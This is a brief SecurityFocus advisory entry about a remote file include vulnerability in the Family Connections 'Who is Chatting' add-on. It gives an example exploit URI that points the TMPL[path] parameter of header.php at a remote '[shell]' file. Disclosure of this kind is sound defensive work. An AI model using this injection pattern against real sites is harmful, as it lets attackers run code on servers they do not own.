Family Connections Who is Chatting Add-on 'header.php' Remote File Include Vulnerability

Attackers can exploit this issue through a browser.

The following example URI is available:

http://www.example.com/mod_chatting/themes/default/header.php?TMPL[path]=[shell]


 

Privacy Statement
Copyright 2010, SecurityFocus